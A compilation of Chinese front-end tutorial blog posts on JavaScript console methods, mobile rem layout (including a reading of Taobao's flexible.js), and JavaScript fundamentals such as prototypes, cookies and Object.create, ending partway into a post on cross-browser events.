这里只简单介绍下，详细的文档请大家移步这里吧。

vue.js目前还有众多的插件，详情看这里。

总结

这里简单介绍了下vue.js的基本用法，但只仅仅介绍了一小部分作为库使用的内容，想了解更多vue.js的内容，还是多多关注vue.js的github主页，所用的例子我也分享了，可以在这里查看并运行结果。

更多


	http://vuejs.org/


	https://github.com/vuejs/


	http://vegibit.com/vue-js-tutorial/


	http://www.zhihu.com/people/evanyou


	http://www.html-js.com/article/column/99
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Javascript 中 console 的用法

在调试 JS 代码时，很多人倾向于使用 alert() 或者 console.log() 方法来输出信息，正如某些 Java 程序员喜欢在调试代码时使用 System.out.println() 输出信息一样。但与 Java 输出不一样的是， console 对象拥有多种方法可以更好的呈现信息，从而给代码调试带来方便。根据常用程度，列出以下几种 console 对象的方法：


	console.log()


	console.debug()、console.info()、console.warn() 与 console.error()


	console.table()


	console.time() 与 console.timeEnd()


	console.assert()


	console.count()


	console.group、console.groupEnd() 与 console.groupCollapsed()




以下示例的运行环境是 Chrome 43。

console.log()

先来谈谈我们最熟悉也最常用的 console.log() 方法。

我们最常用的做法是通过它来输出一个变量或者输出一个字符串。比如下面：

console.log("Hello China!");
var str = "Hello world!";
console.log(str);


运行结果如下：

Hello China!
Hello world!


但我们也可以这样用 console.log() ：

// 代码段 1
var str1 = "hello";
var str2 = "world";
console.log(str1, str2);

// 代码段 2
console.log("%d年%d月%d日", 2015, 09, 22);


控制台会输出：

hello world
2015年9月22日


代码片段 1 显示，console.log() 的参数可以有多个，输出的结果以一个空格隔开。

代码片段 2 显示，console.log() 可以使用 C 语言 printf() 风格的占位符，不过其支持的占位符种类较少，只支持字符串（%s）、整数（%d或%i）、浮点数（%f）和对象（%o）。

console.debug()、 console.info()、 console.warn() 与 console.error()

这四个方法的使用方法跟 console.log() 一模一样，差别在于输出的颜色与图标不同。下面是示例：

console.log("log");
console.debug("debug");
console.info("info");
console.warn("warn");
console.error("error");


运行结果如下：



console.table()

我们看下面一个变量：


var people = {
    "person1": {"fname": "san", "lname": "zhang"}, 
    "person2": {"fname": "si", "lname": "li"}, 
    "person3": {"fname": "wu", "lname": "wang"}
};


我们用 console.log() 将之在 Chrome 的控制台中输出：



再用 console.table() 输出：



所以从上面两种输出我们可以看出，当输出类似于这种两层嵌套的对象时，我们可以选择 console.table() 以表格的形式输出。当然，嵌套三层及以上的也会以表格形式输出，但限于表格只能显示二维信息的特点，其会在嵌套三层或以上的地方会显示 "Object" 字符串。

console.time() 与 console.timeEnd()

在调试时，我们经常需要知道一段代码执行时间，我们可以使用这两行代码来实现。看下面一段代码：


console.time("for-test");
var arr = [];
for(var i = 0; i < 100000; i++) {
    arr.push({"key": i});
}
console.timeEnd("for-test");


输出为：

for-test: 176.152ms


从上面的例子可以看出，我们用 console.time() 和 console.timeEnd() 包围要测试运行时间的代码，这两个方法的参数保持一致，以便正确识别和匹配代码开始和结束的位置。

console.assert()

console.assert() 类似于单元测试中的断言，当表达式为 false 时，输出错误信息。示例如下：

var arr = [1, 2, 3];
console.assert(arr.length === 4);


输出结果如下：



console.count()

调试代码时，我们经常需要知道一段代码被执行了多少次，我们可以使用 console.count() 来方便的达到我们的目的。示例如下：

function func() {
    console.count("label");
}

for(var i = 0; i < 3; i++) {
    func();
}


运行结果为：

label: 1
label: 2
label: 3


console.group()、 console.groupEnd() 与 console.groupCollapsed()

一般的 console.log() 方法的输出没有层级关系，在需要一些显示层级关系的输出中显得苍白无力，使用 console.group() 可以达到我们的目的。示例代码如下：

console.group("1");
console.log("1-1");
console.log("1-2");
console.log("1-3");
console.groupEnd();
console.group("2");
console.log("2-1");
console.log("2-2");
console.log("2-3");
console.groupEnd();


运行结果为：



把 "group" 换成 "groupCollapsed"，则默认为折叠运行结果。

由于本文只列出部分方法，查看完整方法请移步阮一峰前辈的博客。


 关于移动端 rem 布局的一些总结

作者：文蔺
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拖拖拉拉好久，终于把个人博客整出来了。鸣谢 @pinggod。

厚着脸安利一下，地址是 http://www.wemlion.com/。欢迎访问，欢迎收藏。



【资源一】基础知识恕不回顾

基础知识参考以下两篇博客：

http://isux.tencent.com/web-a...

http://www.w3cplus.com/css3/d...

【资源二】淘宝m站首页的动态实现

学习http://m.taobao.com 首页的实现。

最近读到@大漠的新文章《使用Flexible实现手淘H5页面的终端适配》，和本部分有点关系。暂且加上来以供参考。（updated 2015-11-24）

源码进行美化、解读之后，基本布局部分的代码已经被我还原出来了：（2016-01-13补充：后来才发现，早就开源在github上了）


!function(win, lib) {
    var timer,
        doc     = win.document,
        docElem = doc.documentElement,

        vpMeta   = doc.querySelector('meta[name="viewport"]'),
        flexMeta = doc.querySelector('meta[name="flexible"]'),
 
        dpr   = 0,
        scale = 0,
 
        flexible = lib.flexible || (lib.flexible = {});
 
    // 设置了 viewport meta
    if (vpMeta) {
 
        console.warn("将根据已有的meta标签来设置缩放比例");
        var initial = vpMeta.getAttribute("content").match(/initial\-scale=([\d\.]+)/);
 
        if (initial) {
            scale = parseFloat(initial[1]); // 已设置的 initialScale
            dpr = parseInt(1 / scale);      // 设备像素比 devicePixelRatio
        }
 
    }
    // 设置了 flexible Meta
    else if (flexMeta) {
        var flexMetaContent = flexMeta.getAttribute("content");
        if (flexMetaContent) {
 
            var initial = flexMetaContent.match(/initial\-dpr=([\d\.]+)/),
                maximum = flexMetaContent.match(/maximum\-dpr=([\d\.]+)/);
 
            if (initial) {
                dpr = parseFloat(initial[1]);
                scale = parseFloat((1 / dpr).toFixed(2));
            }
 
            if (maximum) {
                dpr = parseFloat(maximum[1]);
                scale = parseFloat((1 / dpr).toFixed(2));
            }
        }
    }
 
    // viewport 或 flexible
    // meta 均未设置
    if (!dpr && !scale) {
        // QST
        // 这里的 第一句有什么用 ?
        // 和 Android 有毛关系 ?
        var u = (win.navigator.appVersion.match(/android/gi), win.navigator.appVersion.match(/iphone/gi)),
            _dpr = win.devicePixelRatio;
 
        // 所以这里似乎是将所有 Android 设备都设置为 1 了
        dpr = u ? ( (_dpr >= 3 && (!dpr || dpr >= 3))
                        ? 3
                        : (_dpr >= 2 && (!dpr || dpr >= 2))
                            ? 2
                            : 1
                  )
                : 1;
 
        scale = 1 / dpr;
    }
 
    docElem.setAttribute("data-dpr", dpr);
 
    // 插入 viewport meta
    if (!vpMeta) {
        vpMeta = doc.createElement("meta");
         
        vpMeta.setAttribute("name", "viewport");
        vpMeta.setAttribute("content",
            "initial-scale=" + scale + ", maximum-scale=" + scale + ", minimum-scale=" + scale + ", user-scalable=no");
 
        if (docElem.firstElementChild) {
            docElem.firstElementChild.appendChild(vpMeta)
        } else {
            var div = doc.createElement("div");
            div.appendChild(vpMeta);
            doc.write(div.innerHTML);
        }
    }
 
    function setFontSize() {
        var winWidth = docElem.getBoundingClientRect().width;
 
        if (winWidth / dpr > 540) {
            (winWidth = 540 * dpr);
        }
 
        // 根节点 fontSize 根据宽度决定
        var baseSize = winWidth / 10;
 
        docElem.style.fontSize = baseSize + "px";
        flexible.rem = win.rem = baseSize;
    }
 
    // 调整窗口时重置
    win.addEventListener("resize", function() {
        clearTimeout(timer);
        timer = setTimeout(setFontSize, 300);
    }, false);
 
     
    // 这一段是我自己加的
    // orientationchange 时也需要重算下吧
    win.addEventListener("orientationchange", function() {
        clearTimeout(timer);
        timer = setTimeout(setFontSize, 300);
    }, false);
 
 
    // pageshow
    // keyword: 倒退 缓存相关
    win.addEventListener("pageshow", function(e) {
        if (e.persisted) {
            clearTimeout(timer);
            timer = setTimeout(setFontSize, 300);
        }
    }, false);
 
    // 设置基准字体
    if ("complete" === doc.readyState) {
        doc.body.style.fontSize = 12 * dpr + "px";
    } else {
        doc.addEventListener("DOMContentLoaded", function() {
            doc.body.style.fontSize = 12 * dpr + "px";
        }, false);
    }
  
    setFontSize();
 
    flexible.dpr = win.dpr = dpr;
 
    flexible.refreshRem = setFontSize;
 
    flexible.rem2px = function(d) {
        var c = parseFloat(d) * this.rem;
        if ("string" == typeof d && d.match(/rem$/)) {
            c += "px";
        }
        return c;
    };
 
    flexible.px2rem = function(d) {
        var c = parseFloat(d) / this.rem;
         
        if ("string" == typeof d && d.match(/px$/)) {
            c += "rem";
        }
        return c;
    }
}(window, window.lib || (window.lib = {}));


注意：
淘宝首页在iPhone4上设置的initial-scale是0.5（其他尺寸类似）。

因此，这句在iPhone4上得出的结果是640：

var winWidth = docElem.getBoundingClientRect().width;  

正是因为淘宝这种独特的设置，使得 ios 上 1px边框的问题完美解决（1px变2px， 又被 initial-scale=0.5 缩小了一半）。

【资源三】常规情况下js根据屏幕宽度动态计算

使用js动态计算：


!(function(doc, win) {
    var docEle = doc.documentElement,
        evt = "onorientationchange" in window ? "orientationchange" : "resize",
        fn = function() {
            var width = docEle.clientWidth;
            width && (docEle.style.fontSize = 20 * (width / 320) + "px");
        };
     
    win.addEventListener(evt, fn, false);
    doc.addEventListener("DOMContentLoaded", fn, false);
 
}(document, window));


【资源四】媒体查询较密集的断点

使用css3 media query 实现

@media screen and (min-width: 320px) {
    html {font-size: 14px;}
}
 
@media screen and (min-width: 360px) {
    html {font-size: 16px;}
}
 
@media screen and (min-width: 400px) {
    html {font-size: 18px;}
}
 
@media screen and (min-width: 440px) {
    html {font-size: 20px;}
}
 
@media screen and (min-width: 480px) {
    html {font-size: 22px;}
}
 
@media screen and (min-width: 640px) {
    html {font-size: 28px;}
}


【资源五】强大的单位——vw

使用单位 vw 实现动态计算。

html {
    font-size: 31.25vw; /* 表达式：100*100vw/320 */
}

不过考虑到国内兼容性的问题，还是结合媒体查询来使用比较好。（媒体查询的断点暂时是借用上面的例子）



@media screen and (min-width: 320px) {
    html {
        font-size: 100px;
    }
}
 
@media screen and (min-width: 360px) {
    html {
        font-size: 112.5px;
    }
}
 
@media screen and (min-width: 400px) {
    html {
        font-size: 125px;
    }
}
 
@media screen and (min-width: 440px) {
    html {
        font-size: 137.5px;
    }
}
 
@media screen and (min-width: 480px) {
    html {
        font-size: 150px;
    }
}
 
@media screen and (min-width: 640px) {
    html {
        font-size: 200px;
    }
}
 
html {
    font-size: 31.25vw;
}



【总结】

对以上种种方法的综合：

1、meta:viewport,  还是initial-scale为 1；

2、320px屏幕下，把页面根元素html的字体大小设置为50px；

3、鉴于我们拿到的设计图目前是640px宽的基准，这样我们就不用每次自己除以2了，直接在PS中量就好；

4、宽度什么的最好还是用百分比处理；涉及到高度、字体大小之类的则用rem。

eg：
设计稿上，div高度为40px；那么css就是 div {height: 0.4rem;} 

结果就只剩下一步转换：设计稿上量的长度转化为小数。 50% => 0.5  这种计算，不要太简单。。。

【方法一】纯粹css，支持calc函数的动态计算；不支持的用css媒体查询断点，优雅降级。

@media screen and (min-width: 320px) {
    html {
        font-size: 50px;
    }
}
 
@media screen and (min-width: 360px) {
    html {
        font-size: 56px;
    }
}
 
@media screen and (min-width: 400px) {
    html {
        font-size: 63px;
    }
}
 
@media screen and (min-width: 440px) {
    html {
        font-size: 69px;
    }
}
 
@media screen and (min-width: 480px) {
    html {
        font-size: 75px;
    }
}

/**
 * 2016-01-13 订正
 * 做适当限制
 * 大于640的屏幕 固定为100px
 * 同时需要对body或者最外层wrapper做max-width: 640px的限制
 */
/*
@media screen and (min-width: 640px) {
    html {
        font-size: 100px;
    }
}

html {
    font-size: 15.625vw;
}
*/

html {
    font-size: 15.625vw;
}

@media screen and (min-width: 640px) {
    html {
        font-size: 100px;
    }
}


【方法二】脚本动态计算

大前提：

1、initial-scale 为 1；

2、在项目css中(注意不要被公共的base、common之类的影响了，资源加载顺序也是蛮重要的)，先把html的fontSize设置为 50px（或者加上媒体查询代码）, 避免加载未完成时候样式错乱;


/* css */
html {font-size: 50px;}

/* javascript */

!(function(win, doc){
    function setFontSize() {
        // 获取window 宽度
        // zepto实现 $(window).width()就是这么干的
        var winWidth =  window.innerWidth;
        // doc.documentElement.style.fontSize = (winWidth / 640) * 100 + 'px' ;
        
        // 2016-01-13 订正
        // 640宽度以上进行限制 需要css进行配合
        var size = (winWidth / 640) * 100;
        doc.documentElement.style.fontSize = (size < 100 ? size : 100) + 'px' ;
    }
 
    var evt = 'onorientationchange' in win ? 'orientationchange' : 'resize';
    
    var timer = null;
 
    win.addEventListener(evt, function () {
        clearTimeout(timer);
 
        timer = setTimeout(setFontSize, 300);
    }, false);
    
    win.addEventListener("pageshow", function(e) {
        if (e.persisted) {
            clearTimeout(timer);
 
            timer = setTimeout(setFontSize, 300);
        }
    }, false);
 
    // 初始化
    setFontSize();
 
}(window, document));


嗯。。。

就这么愉快地结束了。。。

不知道解读了某宝首页的一点点代码，然后发在这里，会不会有什么后果。。。

==================================================

2016年1月13日补充

写过这篇博客之后，又陆续读过几篇关于布局的文章。

具体已经忘了，大约是大漠的文章，还有一篇应该是搜车前端的博文，另外应该还有关于手淘首页的分析的文章。

另外，自己也用rem布局实践过几个项目。

不得不说，个人觉得rem布局现在已经可以放弃了。flex布局已经很好用了，早已有之的百分比布局等稍用点心思也并不难。

这篇博客一直想改。但懒惰总是占据着我的身体。

最后再说下，字体大小自适应是错误的，字体大小自适应是错误的，字体大小自适应是错误的。

rem 布局，可以告别了。

迎接 flex 布局吧。

=========================================

写在最后

这篇博客写于半年前，那时候还是个刚毕业的菜鸟。

偶尔有点想法，看了一些大牛的文章，有了这篇博客。

这也是半年来唯一一篇产出。

5k的浏览量，95收藏，13推荐，已经让我很惊讶了。

谢谢各路大神们的关注。

半年来感受到的前端大环境变化还是很大。虽然在公司没有太多变化，但眼睛总得看着世界吧。

接下来，还得继续学习。

由于手上没什么项目，一直想探索出一套自己的自动化流程，但到现在也只是积累了许多版的草稿。

nodejs方面也得有所探索，nodejs 再加上 shelljs 和 yargs 用起来是真的很爽。（鸣谢阮大神的文章）

算是年终总结了。在前端的路上继续走吧。

=========================================

一点想法：评论区的回复

媒体查询和js动态计算是两种方式。

首先，支持 CSS3 calc方法 和 rem、vw单位的浏览器下，只需要html {font-size: 15.625vw;}这样一句就好，另外加个媒体查询限制下。

之前的一大堆密集的断点只是为了hack不支持calc或者calc的情况。其次，js动态设置html的font-size，只要浏览器支持rem单位即可。

为什么会考虑到密集的mq断点呢，因为当时还在考虑文字大小的自适应问题。

实践证明，字体大小自适应是一种错误的想法。

移动开发在必要情况的下，可以适当使用mq来调整字体大小，但做成完全自适应则是一种存在问题的做法。

因此，这里提到的 calc和vh rem配合的做法，最好只用来做布局的工作。js动态计算也是类似，更适合做布局。
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前阵子忙于准备CET-6，没时间更新文章，之后大概一个月将忙于准备期末考，也应该不会更新了，今天趁周末有时间再更新一篇最近研究的一些东西吧。

callee和caller

function inner(){
    console.log(arguments.callee);//指向拥有这个arguments对象的函数，即inner()
    console.log(arguments.callee.caller);//这个属性保存着调用当前函数的函数的引用,即outer()
    console.log(inner.caller);//[Function: outer]
}

function outer(){
    inner();
}
outer();


callee放回正在执行的函数本身的引用，它是arguments的一个属性
caller 返回一个函数的引用，这个函数调用了当前的函数。

严格模式下，不允许访问arguments.callee和arguments.caller属性，主要体现在arguments.[[Get]]内部方法

严格模式下，arguments，arguments.callee，arguments.caller，arguments.callee.caller也不允许再被赋值。如下代码所示：

'use strict';
// 两次都是1
void function fn(a) {
    console.log(arguments[0]);
    a = 2;
    console.log(arguments[0]);
}(1);


//function(){}(); 会运行错误, 如下可以正确被运行.

void function(){
    console.log('hi');//hi
}();


在使用立即执行的函数表达式时，可以利用 void 运算符让 JavaScript 引擎把一个函数识别成函数表达式而不是函数声明（语句）。

实参和形参

var add = function (a,b) {
    console.log(arguments.length);//3,表示实参长度
    console.log(arguments.callee.length);//2，表示形参长度
};

add(1,2,3);




Array.prototype.slice.call(arguments)

slice有两个用法，一个是String.slice，一个是Array.slice，第一个返回的是字符串，第二个返回的是数组。

Array.prototype.slice.call(arguments)能够将arguments转成数组，那么就是arguments.toArray().slice();

因为arguments并不是真正的数组对象，只是与数组类似而已，所以它并没有slice这个方法，而Array.prototype.slice.call(arguments)可以理解成是将arguments转换成一个数组对象，让arguments具有slice()方法。 比如：

 var arr = [1,2,3,4];
 console.log(Array.prototype.slice.call(arr,2));//[3,4]


同样，还有Array.prototype.forEach.call()，forEach() 方法让数组的每一项都执行一次给定的函数。

String()

我们可以用String()来确定某一变量是否是null或者undefined

var a , b = null;
String(a);//undefined
String(b);//null


直接调用String()作为方法时，将会执行类型转换，返回经过toString(value)得到的字符串字面量（与new String()不同），或者空字符串（''）.

window 对象

 <script>
        (function () {
            var root = this;
            console.log(root);//即window对象
        })();
 </script>

打开控制台，你可以看到window对象的一系列属性和方法：



new function

var a = function () {};
console.log(typeof a);//function

var b = new function () {};
console.log(typeof b);//object

var c = new Function ();
console.log(typeof c);//function


new function 是一个JavaScript中用户自定义的对象

var obj = function (name) {
    this.name = name;
};
var b = new obj('trigkit4');
console.log(b.name);  


js中的false和true

//false
console.log(Boolean(''));//false
console.log(Boolean(null));//false
console.log(Boolean(undefined));//false
console.log(Boolean(0));//false
console.log(Boolean(false));//false
console.log(Boolean(NaN));//false

//true
console.log(Boolean(' '));//true    
console.log(Boolean('NaN'));//true


除了false，null，undefined，空字符串''，数字0和NaN以外，其他所有值都被当做是真，包括true，字符串""里包含的值，以及所有对象。

valueOf() 和 toString()

valueOf()和toString()方法是所有ECMAScript对象拥有的内置方法。操作对象时，valueOf()和toString()会被隐式的调用。

//valueOf()
console.log(Object.valueOf());//[Function: Object]
console.log(Object.prototype.valueOf());//{}

var boo = new Boolean(1);
console.log(boo.valueOf());//true

var bar = Boolean(0);
console.log(bar.valueOf());//false

var str = String("trigkit4");
console.log(str.valueOf());//trigkit4

console.log(null.valueOf());//TypeError
console.log(undefined.valueOf());//TypeError

//toString()
console.log(Object.prototype.toString());//[object Object]
console.log(Object.toString());//function Object() { [native code] }
Object.prototype.toString.call(null);//[object Null]
Object.prototype.toString.call(undefined);//[object Undefined]
{a: 'b'}.toString();//[object Object]


valueOf()方法的目的是将对象转换成最有意义的原始值([[PrimitiveValue]])。即ECMAScript的5种基本类型中的三种，布尔值、数字、字符串。

当valueOf方法被调用时，会调用内置的ToObject，并将this作为参数传进去。ToObject检测会根据参数类型进行数值的转换：

Undefined - 抛出TypeError异常
Null - 抛出TypeError异常
Boolean - 创建一个Boolean对象，调用ToBoolean生成[[PrimitiveValue]]
Number - 创建一个Number对象，调用ToNumber生成[[PrimitiveValue]]
String - 创建一个String对象，调用ToString生成[[PrimitiveValue]]
Object - 对象本身


ECMAScript对象的大多数操作的转换结果是字符串，这两个方法的结果是相同的。但是如果操作的对象为Number、Boolean或者Date，结果就不同了。

var foo = {
    toString: function () {
        return "foo";
    },
    valueOf: function () {
        return 5;
    }
};

console.log(foo + "bar"); // 5bar
console.log([foo, "bar"].join("")); // foobar


在这个上下文环境中，我们使用"+"操作符来使字符串连接，但是，foo并没有使用toString来转换成字符串，它使用valueOf转换成一个number，这并不是我们想要的，
但它是如何工作的，这是+运算符的算术和字符串连接超载的副作用。"+"操作符有一个明确的处理过程：

1.评估左手侧，并得到该值。
2.评估右手侧，并获得该值。
3.同时在左手和右手侧调用ToPrimitive（无提示）
4.如果任何原始值是一个字符串，然后跳到7。
5.在这两个值调用ToNumber。
6.返回值的总和。
7.在这两个值调用toString。
8.返回的值连接起来


setInterval和setTimeout

alert(1); 
setTimeout("alert(2)", 0); 
alert(3); 

执行顺序为：1，3，2，虽然延时了0ms

setTimeout 0  //正常情况下javascript都是按照顺序执行的。但是我们可能让该语句
后面的语句执行完再执行本身，这时就可以用到setTimeout延时0ms来实现了。


cookie的创建和删除

cookie可以跨越一个域名下的多个网页，但不能跨越多个域名使用。

document.cookie = “user = 值;expires = 过期时间;path = 路径访问;
domain = 域名访问;secure = 安全的https限制通信"


cookie的创建方式

设置cookie我们一般都封装成一个函数：

function addCookie(sName,sValue,day) {
    var expireDate = new Date();
    expireDate.setDate(expireDate.getDate()+day);;
//设置失效时间
    document.cookie = escape(sName) + '=' + escape(sValue) +';
    expires=' + expireDate.toGMTString();6 //escape()汉字转成unicode编码,toGMTString() 把日期对象转成字符串
} 


删除cookie

为了删除一个cookie，可以将其过期时间设定为一个过去的时间，例如：

//获取当前时间
    var date=new Date();
//将date设置为过去的时间
    date.setTime(date.getTime()-10000);
//将userId这个cookie删除
    document.cookie="userId=828; expires="+date.toGMTString();


给cookie设置终止日期

到现在为止，所有的cookie都是单会话cookie，即浏览器关闭后这些cookie将会丢失，事实上这些cookie仅仅是存储在内存中，而没有建立相应的硬盘文件。
在实际开发中，cookie常常需要长期保存，例如保存用户登录的状态。这可以用下面的选项来实现：

document.cookie="userId=828; expiress=GMT_String";


其中GMT_String是以GMT格式表示的时间字符串，这条语句就是将userId这个cookie设置为GMT_String表示的过期时间，超过这个时间，cookie将消失，不可访问。例如：如果要将cookie设置为10天后过期，可以这样实现：

<script language="JavaScript" type="text/javascript">
//获取当前时间
    var date=new Date();
    var expiresDays=10;
//将date设置为10天以后的时间
    date.setTime(date.getTime()+expiresDays*24*3600*1000);
//将userId和userName两个cookie设置为10天后过期
    document.cookie="userId=828; userName=hulk; expires="+date.toGMTString();
</script> 


对象和函数可以如数组一样，用属性名或方法名作为下标来访问：

对象的创建

//对象的创建
function MyFunc(){}
var obj1 = new MyFunc();//使用new操作符，借助MyFun函数，就创建了一个对象
var obj2 = new MyFunc;//函数也可以没有括号，但仍将调用该函数


可以把上面的代码改写成这种等价形式：

function MyFunc(){};
var obj1 = {};//创建一个对象
MyFunc.call(obj1);//将obj1对象作为this指针调用MyFunc函数


作用域

通过自执行的匿名函数你可以把所有原本属于全局的变量都隐藏起来：

//创建一个新的匿名函数，作为包装
(function () {
    //变量原本应该是全局的
    var msg = "Thanks for visiting";
    
    window.onunload = function () {
        console.log(msg);
    };
})();

上下文对象是通过this变量体现的，这个变量永远指向当前代码所处的对象中。

var obj = {
    yes : function(){
        //this == obj
        this.val = true;
    },
    no : function(){
        this.val = false;
    }
};
console.log(obj.val == null);//true
//执行了yes函数后，将val属性与'obj'对象关联起来
obj.yes();
console.log(obj.val == true);//true


String 原型方法的扩展

    //公共正则表达式处理函数
    String.prototype.Regular = function(reg){
        var result = true;
        if(this.length > 0){       
            if(!reg.test(this)){   
                result = false;
            }  
        } 
        return result;
    }
    
    //.trim()方法
     String.prototype.trim = function () {
        return this.replace(/(^\s*)|(\s*$)/g,'');
};


^表示字符串必须以后面的规则开头，而(^\s*) 表示的就是以0个空格或者多个空格开头，后面的(\s*$) 的意思就是, 以0个空格或者多个空格结尾。

    //判断输入内容是否为空
    String.prototype.isNull = function(){  
        return this.trim().length == 0 ? true : false; 
    } 
    
    //判断输入的字符是否为英文字母\数字\下划线
    String.prototype.isVersion = function(){    
        var reg = /^([a-zA-Z_])([a-zA-Z0-9_.])*$/;  
        return this.Regular(reg);
    }
    
   // 判断输入的字符串，不包括单引号
   String.prototype.isString = function(){    
        var reg = /^[^']*$/; 
        return this.Regular(reg); 
    }
    
  //判断输入的字符是否为英文字母  
    String.prototype.isLetter = function(){   
       var reg = /^[a-zA-Z]+$/;  
       return this.Regular(reg);
   }     


constructor属性

function User(){}
var me = new User();
console.log(me.constructor);//[Function: User]

//用前一个对象的Constructor引用来创建一个新的User对象
var you = new me.constructor();
console.log(me.constructor == you.constructor);//true



Object.create

function Parent(){}
 var o = Object.create(Parent.prototype);
 console.log(o instanceof Parent);//true
 console.log(o instanceof Object);//true
 console.log(Object.prototype.toString.call(o));//[object Object]


“数据属性”是可获取且可设置值的属性。 数据属性描述符包含 value 特性，以及 writable、enumerable 和 configurable 特性。 如果未指定最后三个特性，则它们默认为 false。

     
function Parent(){}
var o = Object.create(Parent);
console.log(o instanceof Parent);//false
console.log(o instanceof Object);//true  

另外一个实例

var book1 = {
    title:"JS高级程序设计",
    pages : 1001,
    getTitle:function(){
        console.log(this.title);
    }
};
var book2 = Object.create(book1,{
    //title会成为所创建对象的数据属性
    title:{
        configurable:true,
        enumerable:true,
        value:"JS权威指南",
        wratable:true
    }
});
book1.getTitle();  //"JS高级程序设计"
book2.getTitle();  //"JS权威指南"

console.log(book1.hasOwnProperty("getTitle"));  //true
console.log('pages' in book2);  //true
console.log(book2.hasOwnProperty("getTitle"));  //false
console.log(book1.isPrototypeOf(book2));//true


再看另一个例子：

function Constructor(){}
obj = new Constructor();
// 上面的一句就相当于:
obj = Object.create(Constructor.prototype);
console.log(obj);//{}
console.log(Object.create(Constructor.prototype));//{}

console.log(obj instanceof Constructor);//true
console.log(Constructor.prototype.isPrototypeOf(obj));//true

var foo;
foo = {};
// 以字面量方式创建的空对象就相当于:
foo = Object.create(Object.prototype);


另外：

console.log(Object.prototype);//{}
console.log(Object.create(Object.prototype));//{}


通过Object.create(Object.prototype) 创建的实例对象就继承了Object原型下的属性和方法。

javascript所有function类型的对象都有一个prototype属性。这个prototype属性本身又是一个object类型的对象，原型对象都包含一个指向构造函数的指针，而每一个实例也都包含一个指向原型对象内部的指针。

参考：https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Object/create



prototype

function User(){}

var u1 = new User();
console.log(u1.prototype);//使用对象实例无法访问到prototype
console.log(User.prototype);//{},使用构造函数名访问prototype
console.log(u1.__proto__);//{},使用对象实例访问prototype的指针

//使用字面量的方式创建原型对象，这里{}就是对象
User.prototype = {
    name : "trigkit4",
    age : 22
};


使用构造函数创建原型对象和使用字面量创建对象在使用上基本相同，但还是有些区别，字面量创建的方式使用constructor属性不会指向实例，而会指向Object，构造函数创建的方式则相反

function User(){}
User.prototype = {
    name : "trigkit4",
    age : 22
};
var u1 = new User();
console.log(u1.constructor);//function Object() {[native code]}
console.log(u1 instanceof User);//true
console.log(u1.constructor == User);//false
console.log(u1.constructor == Object);//true

//如果想让字面量方式的constructor指向实例对象，可以这么做：
User.prototype = {
    constructor : User;
}


字面量方式为什么constructor会指向Object？因为User.prototype = {};这种写法其实就是创建了一个新对象：

function User(){}

User.prototype = {
    constructor : User
};
var u1 = new User();
console.log(User.constructor);//[Function: Function]
console.log(u1.constructor == User);//true


另一个例子：

 (function () {
    
        console.log(Object.prototype);//{}
        console.log(Array.prototype);//[]
        console.log(Array.prototype.push);//[Function: push]
        console.log(Function.prototype);//[Function: Empty]
        console.log(Function.prototype.bind);//[Function: bind]
    
      
    })();


Object.prototype.toString

在toString()方法被调用时,会执行下面的操作步骤:

如果this的值为undefined,则返回"[object Undefined]".
如果this的值为null,则返回"[object Null]".
让O成为调用ToObject(this)的结果.
让class成为O的内部属性[[Class]]的值.
返回三个字符串"[object ", class, 以及 "]"连接后的新字符串.

由于 JavaScript 中一切都是对象，任何都不例外，对所有值类型应用Object.prototype.toString.call()

方法结果如下：

console.log(Object.prototype.toString.call(123)) //[object Number]        
console.log(Object.prototype.toString.call('123')) //[object String]      
console.log(Object.prototype.toString.call(undefined)) //[object Undefined] 
console.log(Object.prototype.toString.call(true)) //[object Boolean]      
console.log(Object.prototype.toString.call({})) //[object Object]        
console.log(Object.prototype.toString.call([])) //[object Array]      
console.log(Object.prototype.toString.call(function(){})) //[object Function]


​
所有类型都会得到不同的字符串，几乎完美。
在JavaScript中,想要判断某个对象值属于哪种内置类型,最靠谱的做法就是通过Object.prototype.toString方法.

面向对象

下面是来自Prototype.js的一段代码：

//创建一个名为"Class"的全局对象
var Class = {
    //它只有一个函数，其作用是创建一个新的对象构造函数
    create: function(){
        //创建一个匿名的对象构造函数
        return function () {
            //调用它本身的初始化方法
            this.initialize.apply(this,arguments);
        }
    }
};

//给Object对象添加一个新的静态方法，它的作用是把属性从一个对象复制到另一个中
Object.extend = function (destination,source) {
    //遍历所有要扩展的属性
    for(property in source){
        //然后将他们添加到目标对象中
        destination[property] = source[property];
    }
};


成员操作符

function aFunc(){}//或者var aFunc = function(){};

aFunc.oProperty = "函数的一个属性";
aFunc.aMethod = function(){
    console.log("函数的一个方法");
};

console.log(aFunc["oProperty"]);//将函数当成数组以属性名作为下标来访问属性
console.log(aFunc["aMethod"]());//将函数当数组以方法名作为下标来调用方法

//遍历函数的所有属性和方法
for(var s in aFunc){
    console.log(s + "is a "+typeof(aFunc[s]));
}


特权方法与私有方法

function Constructor(msg){
    this.Message = msg;

    //私有属性
    var separator = '-';
    var owner = this;

    //私有方法
    function alertMessage(){
        console.log(owner.Message);
    }
    alertMessage();

    //特权方法（也是公有方法）
    this.aptMessage = function (str) {
        this.Message += separator + str;
        alertMessage();
    }
}

//公有方法
Constructor.prototype.clearMessage = function (str) {
    this.Message = '';
};

//静态属性
Constructor.name = 'trigkit4';

//静态方法
Constructor.alertName = function (name) {
    console.log(this.name);
};


特权方法是指在构造函数的作用域中使用this关键字定义的方法；与私有方法不同，特权方法能够被公开访问，而且还能够访问私有成员。

由于私有和特权成员在函数的内部，因此它们会被带到函数的每个实例中。   
公有的原型成员是对象蓝图的一部分，适用于通过new关键字实例化的该对象的每个实例 静态成员只适用于对象的一个特殊实例



使用对象字面量语法来向prototype属性添加所有公有成员：

function Constructor(){
    //私有和特权成员
}

//公有方法
Constructor.prototype = {
    propertyA: 'value1',
    propertyB: 'value2',
    methodA: function(){},
    methodB: function(){}
};


删除不要的节点

DOM 元素在浏览器中所占用的空间是非常大的，要及时回收不用的节点：

var node = parentNode.removeChild(node);

node = null;//设置为空，释放空间
CollectGarbage();//IE,回收资源


博主近来穷的吃土了，如果看完本文的内容后觉得对你有所帮助，想博主更新的勤一点，你不扫一下吗（留言你想学的前端技术，博主有空了就更新呦）






 JavaScript 经典实例收集整理

作者：trigkit4

来源： JavaScript 经典实例收集整理



                    
跨浏览器事件

跨浏览器添加事件

//跨浏览器添加事件
    function addEvent(obj,type,fn){
        if(obj.addEventListener){
            obj.addEventListener(type,fn,false);
        }else if(obj.attachEvent){//IE
            obj.attchEvent('on'+type,fn);
        }
    }


跨浏览器移除事件

 
//跨浏览器移除事件
